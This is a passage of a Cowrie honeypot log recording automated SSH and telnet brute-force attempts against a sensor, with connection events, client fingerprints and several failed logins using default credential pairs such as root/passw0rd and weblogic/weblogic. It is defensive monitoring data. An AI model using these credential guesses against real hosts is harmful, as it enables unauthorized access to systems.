{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:39.021324Z","src_ip":"192.109.200.237","session":"bac5d3708b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.13666081428528,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:39.625642Z","src_ip":"50.6.8.71","session":"ddc260b869c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:39.888823Z","src_ip":"2.57.121.112","session":"7c6f92d6d156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:40.107188Z","src_ip":"192.109.200.237","session":"bac5d3708b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.117923974990845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:41.478927Z","src_ip":"50.6.8.71","session":"f15ed7fa5e28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41662,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff2ca0789271","protocol":"ssh","message":"New connection: 192.109.200.237:41662 (159.203.135.109:22) [session: ff2ca0789271]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:42.144051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:42.149277Z","src_ip":"192.109.200.237","session":"ff2ca0789271","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:42.232300Z","src_ip":"192.109.200.237","session":"ff2ca0789271","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:42.477875Z","src_ip":"192.109.200.237","session":"ff2ca0789271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:43.562509Z","src_ip":"192.109.200.237","session":"ff2ca0789271","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.49600601196289,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:44.709776Z","src_ip":"50.6.8.71","session":"cb902b1c47f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41664,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbd69df79b0e","protocol":"ssh","message":"New connection: 192.109.200.237:41664 (159.203.135.109:22) [session: cbd69df79b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:45.544935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:45.550172Z","src_ip":"192.109.200.237","session":"cbd69df79b0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:45.636525Z","src_ip":"192.109.200.237","session":"cbd69df79b0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:45.885992Z","src_ip":"192.109.200.237","session":"cbd69df79b0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:46.974195Z","src_ip":"192.109.200.237","session":"cbd69df79b0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":46676,"dst_ip":"10.17.0.5","dst_port":23,"session":"163b907a72b6","protocol":"telnet","message":"New connection: 50.6.8.71:46676 (10.17.0.5:23) [session: 163b907a72b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:47.713074Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41674,"dst_ip":"159.203.135.109","dst_port":22,"session":"caa96b27d251","protocol":"ssh","message":"New connection: 192.109.200.237:41674 (159.203.135.109:22) [session: caa96b27d251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:48.972656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:48.976763Z","src_ip":"192.109.200.237","session":"caa96b27d251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:49.060460Z","src_ip":"192.109.200.237","session":"caa96b27d251","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:49.344199Z","src_ip":"192.109.200.237","session":"caa96b27d251","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:50.429354Z","src_ip":"192.109.200.237","session":"caa96b27d251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57338,"dst_ip":"159.203.135.109","dst_port":22,"session":"93c3254b0320","protocol":"ssh","message":"New connection: 192.109.200.237:57338 (159.203.135.109:22) [session: 93c3254b0320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:52.520792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:52.525026Z","src_ip":"192.109.200.237","session":"93c3254b0320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:52.609222Z","src_ip":"192.109.200.237","session":"93c3254b0320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:52.854503Z","src_ip":"192.109.200.237","session":"93c3254b0320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":37520,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee7393c9def6","protocol":"ssh","message":"New connection: 147.45.199.80:37520 (159.203.135.109:22) [session: ee7393c9def6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:53.893463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:53.898411Z","src_ip":"147.45.199.80","session":"ee7393c9def6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:53.940635Z","src_ip":"192.109.200.237","session":"93c3254b0320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:53.994044Z","src_ip":"147.45.199.80","session":"ee7393c9def6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:54.279971Z","src_ip":"147.45.199.80","session":"ee7393c9def6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":35052,"dst_ip":"10.17.0.5","dst_port":23,"session":"58cad5d86a90","protocol":"telnet","message":"New connection: 50.6.8.71:35052 (10.17.0.5:23) [session: 58cad5d86a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:54.382278Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:55.377452Z","src_ip":"147.45.199.80","session":"ee7393c9def6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57374,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a5bedd88834","protocol":"ssh","message":"New connection: 192.109.200.237:57374 (159.203.135.109:22) [session: 9a5bedd88834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:55.935688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:55.943221Z","src_ip":"192.109.200.237","session":"9a5bedd88834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:56.025616Z","src_ip":"192.109.200.237","session":"9a5bedd88834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:56.270903Z","src_ip":"192.109.200.237","session":"9a5bedd88834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:57.435316Z","src_ip":"192.109.200.237","session":"9a5bedd88834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57414,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd892b0cd35f","protocol":"ssh","message":"New connection: 192.109.200.237:57414 (159.203.135.109:22) [session: dd892b0cd35f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:59.288997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:59.292813Z","src_ip":"192.109.200.237","session":"dd892b0cd35f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48184,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fdbfa5367f5","protocol":"telnet","message":"New connection: 50.6.8.71:48184 (10.17.0.5:23) [session: 3fdbfa5367f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:59.360720Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:59.374982Z","src_ip":"192.109.200.237","session":"dd892b0cd35f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:59.756417Z","src_ip":"192.109.200.237","session":"dd892b0cd35f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:00.841340Z","src_ip":"192.109.200.237","session":"dd892b0cd35f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33744,"dst_ip":"159.203.135.109","dst_port":22,"session":"77abc542c007","protocol":"ssh","message":"New connection: 192.109.200.237:33744 (159.203.135.109:22) [session: 77abc542c007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:02.846278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:12:02.853307Z","src_ip":"192.109.200.237","session":"77abc542c007","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","a